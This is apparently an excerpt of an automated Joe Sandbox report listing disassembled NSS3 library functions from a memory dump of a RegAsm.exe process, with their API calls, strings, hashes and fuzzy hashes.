Part of subcall function 6C3F9AC0: socket.WSOCK32(?,00000017,6C3F99BE), ref: 6C3F9AE6
Part of subcall function 6C3F9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C3F99BE), ref: 6C3F9AFC

Part of subcall function 6C400590: closesocket.WSOCK32(6C3F9A8F,?,?,6C3F9A8F,00000000), ref: 6C400597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C4DCCB0

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 74197cd4334c7848eb1a34bfbc6cb3843afcfcd4a249a32383f20eb275d3aa73
Instruction ID: 7c9524f8341ec43e3c40b1fb92fb371ac6f18596faca191f958959e2ec969676
Opcode Fuzzy Hash: 74197cd4334c7848eb1a34bfbc6cb3843afcfcd4a249a32383f20eb275d3aa73
Instruction Fuzzy Hash: E011A2F5B102609EDB15DF699C27F433AE89346218F161029E50ECBB82E775D4844FF9

Function 6C39A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C4EC3A2,?,?,00000000,00000000), ref: 6C4CA528
Part of subcall function 6C4CA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4CA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C39A94F

Strings

database corruption, xrefs: 6C39A943
%s at line %d of [%.10s], xrefs: 6C39A948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C39A939

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 7af79998eec7cb041a699194afdefebcd2f38374c6b2906bfdc69e77fc402d6e
Instruction ID: 87d710c4d6354e38b932c92871d0a34ef415450f140e05f23ea9c44697d56f6f
Opcode Fuzzy Hash: 7af79998eec7cb041a699194afdefebcd2f38374c6b2906bfdc69e77fc402d6e
Instruction Fuzzy Hash: 36012B31F00208ABC700CA79DC11F5BB3F5AB4430CF46452DD94957A40E771A8088F92

Function 6C428850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C430715), ref: 6C428859
PR_NewLock.NSS3 ref: 6C428874

Part of subcall function 6C4D98D0: calloc.MOZGLUE(00000001,00000084,6C400936,00000001,?,6C40102C), ref: 6C4D98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C42888D

Strings

NSS, xrefs: 6C428887

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 7b0ad91ef26de77574f518d99e62f15d8e706e231d3fc591c3b24eda45250b04
Instruction ID: cf6cd895ad72f22942ba5cd67946e25328adcdf27d38698570a32327fdd41f8f
Opcode Fuzzy Hash: 7b0ad91ef26de77574f518d99e62f15d8e706e231d3fc591c3b24eda45250b04
Instruction Fuzzy Hash: 87F0F663E4222023F310A2696C07F8B64989F6175EF080036E90CE7F82FB46A518C2F6

Function 6C4BA890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C4A5F25,?,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BA8A3

Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE10
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE24
Part of subcall function 6C45ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C43D079,00000000,00000001), ref: 6C45AE5A
Part of subcall function 6C45ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE6F
Part of subcall function 6C45ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE7F
Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEB1
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C4A5F25,?,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BA8BA
SECITEM_ZfreeItem_Util.NSS3(%_Jl,00000000,00000000,?,6C4A5F25,?,?,?,?,?,?,?,?,?,6C4AAAD4), ref: 6C4BA8CF

Strings

%_Jl, xrefs: 6C4BA894, 6C4BA8CE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_Jl
API String ID: 2877228265-2681889633
Opcode ID: 672bc0989c27f5088c7a1175481c810772241e47d0a71c0668d3eed88ecf9b51
Instruction ID: 0cf6afcc5d817e4114bee45b090b520e0b0cf70721ec26a97daf3f5e85c516c0
Opcode Fuzzy Hash: 672bc0989c27f5088c7a1175481c810772241e47d0a71c0668d3eed88ecf9b51
Instruction Fuzzy Hash: 6FF0A0B2A0171457EA10EA16EC00FA773989F0065EF448028DC1AABF01E331F8198BE1

Function 6C4D4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C3B85D2,00000000,?,?), ref: 6C4D4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4D500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4D50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4D50D6

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 1905b04b1e7eada4cce99054803d85082263c078db9c2c6365910f135a831506
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 374185B2A002118BCB19CF18DCE1B9AB7E1FF4431971D466DD84ACB702E779E891CB81

Function 6C52A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C52A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C52A662), ref: 6C52A69E
Part of subcall function 6C52A690: PR_NewCondVar.NSS3(?), ref: 6C52A6B4

PR_IntervalNow.NSS3 ref: 6C52A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C52A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C52A944
PR_SetPollableEvent.NSS3(?), ref: 6C52A94F

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: cad355640c43726641756465c8affadc5623572330f7b371cd210ab2b907bf38
Instruction ID: 6c8f2dd2b686be1c33576f8325aa01d6d103c0031bdcd04039514724725aa3e8
Opcode Fuzzy Hash: cad355640c43726641756465c8affadc5623572330f7b371cd210ab2b907bf38
Instruction Fuzzy Hash: 844115B4A01A02DFC714DF2AC990956FBF5FF88318725856AE949CBB51E731E850CB90

Function 6C416C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C416C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C416CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C416CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C538FE0), ref: 6C416CFE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 414ccf34d96bd644d2927f3e582fb8785bbb529c082ce83ec9a81a8dcb1e1792
Instruction ID: c63b38fbd3dbed4473cac84cf7d243ada5a394ce2aefa50b9747e7db8793c54e
Opcode Fuzzy Hash: 414ccf34d96bd644d2927f3e582fb8785bbb529c082ce83ec9a81a8dcb1e1792
Instruction Fuzzy Hash: E1319EB1A052169BEB08CF69C891EBFBBF5EB45248B10442DD945D7B00FB31D905CBA0

Function 6C524F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C524F5D
free.MOZGLUE(?), ref: 6C524F74
free.MOZGLUE(?), ref: 6C524F82
GetLastError.KERNEL32 ref: 6C524F90

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 397f563e186210c953f1faa60cef5fca1359a2fce0409136b7828cfaea33b7b8
Instruction ID: c9c0a7cdd698c0603911fa6b9401f076888f9f57a816824963abe8d0ce741e4f
Opcode Fuzzy Hash: 397f563e186210c953f1faa60cef5fca1359a2fce0409136b7828cfaea33b7b8
Instruction Fuzzy Hash: 04312875A002095BEF11CB69DC81BDFB3F8EF85358F050229EC15A77C1D738A9058AA1

Function 6C482880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C482896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C482932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C48294C
free.MOZGLUE(?), ref: 6C482955

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: c082eaa6ecb7e70aca6b5b11e48580fc70c28fdb4070c3ab6cf71e98f7aa69a4
Instruction ID: 25afda43930ef00b59416ce20c009204fff66f59434c2e78576ebf7a5d6c76dd
Opcode Fuzzy Hash: c082eaa6ecb7e70aca6b5b11e48580fc70c28fdb4070c3ab6cf71e98f7aa69a4
Instruction Fuzzy Hash: 3B2190B66016009BEB21DB2AEC49F5777E9EF84359F05053CE88987B61FF31E4188791

Function 6C454FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C45B60F,00000000), ref: 6C455003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C45B60F,00000000), ref: 6C45501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C45B60F,00000000), ref: 6C45504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C45B60F,00000000), ref: 6C455064

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a1affdb2d61a3341da5d141bf24bf361dbf82df37f599d04ab80a64a58452706
Instruction ID: 6cd0c23ac1ca89638ed7bc414d3224ee3063e17938bb227844ccce72bfb4b001
Opcode Fuzzy Hash: a1affdb2d61a3341da5d141bf24bf361dbf82df37f599d04ab80a64a58452706
Instruction Fuzzy Hash: 9D3126B4A05606DFDB00EF68C884E6ABBF4FF09705B518969D859DB710E730E8A0CBD1

Function 6C482DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C482E08

Part of subcall function 6C4714C0: TlsGetValue.KERNEL32 ref: 6C4714E0
Part of subcall function 6C4714C0: EnterCriticalSection.KERNEL32 ref: 6C4714F5
Part of subcall function 6C4714C0: PR_Unlock.NSS3 ref: 6C47150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C482E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C482E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C482E95

Part of subcall function 6C471200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C471228
Part of subcall function 6C471200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C471238
Part of subcall function 6C471200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C47124B
Part of subcall function 6C471200: PR_CallOnce.NSS3(6C572AA4,6C4712D0,00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C47125D
Part of subcall function 6C471200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C47126F
Part of subcall function 6C471200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C471280
Part of subcall function 6C471200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C47128E
Part of subcall function 6C471200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C47129A
Part of subcall function 6C471200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4712A1

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 455b7ab3f301710beaf0415f51a0046955c98ddbaa46d1c1a10d1a09f99fee82
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B921C2B1D123854BE720CF549D48FBA3664ABA134DF110269DD086B742FBB1E69882F6

Function 6C43ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C43ACC2

Part of subcall function 6C412F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C412F0A
Part of subcall function 6C412F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C412F1D

Part of subcall function 6C412AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C410A1B,00000000), ref: 6C412AF0
Part of subcall function 6C412AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C412B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C43AD5E

Part of subcall function 6C4557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C41B41E,00000000,00000000,?,00000000,?,6C41B41E,00000000,00000000,00000001,?), ref: 6C4557E0
Part of subcall function 6C4557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C455843

CERT_DestroyCertList.NSS3(?), ref: 6C43AD36

Part of subcall function 6C412F50: CERT_DestroyCertificate.NSS3(?), ref: 6C412F65
Part of subcall function 6C412F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C412F83

free.MOZGLUE(?), ref: 6C43AD4F

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a93f82a1eef3a06ea29848263044759cb84bf0eb92e84a4e3ecd469aa857b409
Instruction ID: e78764024f37950837f287b31b8cecb3caa8d3ca0629c74f5e9bbc7adcf7ef9c
Opcode Fuzzy Hash: a93f82a1eef3a06ea29848263044759cb84bf0eb92e84a4e3ecd469aa857b409
Instruction Fuzzy Hash: 8321F6B1D001248BEF11DFA5D805DEEB7B4EF49208F465028D848BB710FB31AA55CBE5

Function 6C46ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C46F0AD,6C46F150,?,6C46F150,?,?,?), ref: 6C46ECBA

Part of subcall function 6C470FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471000
Part of subcall function 6C470FF0: PR_NewLock.NSS3(?,00000800,6C40EF74,00000000), ref: 6C471016
Part of subcall function 6C470FF0: PL_InitArenaPool.NSS3(00000000,security,6C4187ED,00000008,?,00000800,6C40EF74,00000000), ref: 6C47102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C46ECD1

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C46ED02

Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C46ED5A

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d4b0050ce6902f598fd98c883335be0f068b4865d102aa18348bf2b8e3f9c462
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C92180B1A017829BE700CF26DD44F92B7E4BFA4249F15C219E81C87B61E770E594C6D0

Function 6C43C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C43C890

Part of subcall function 6C438F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FAF
Part of subcall function 6C438F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C42DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C438FD1
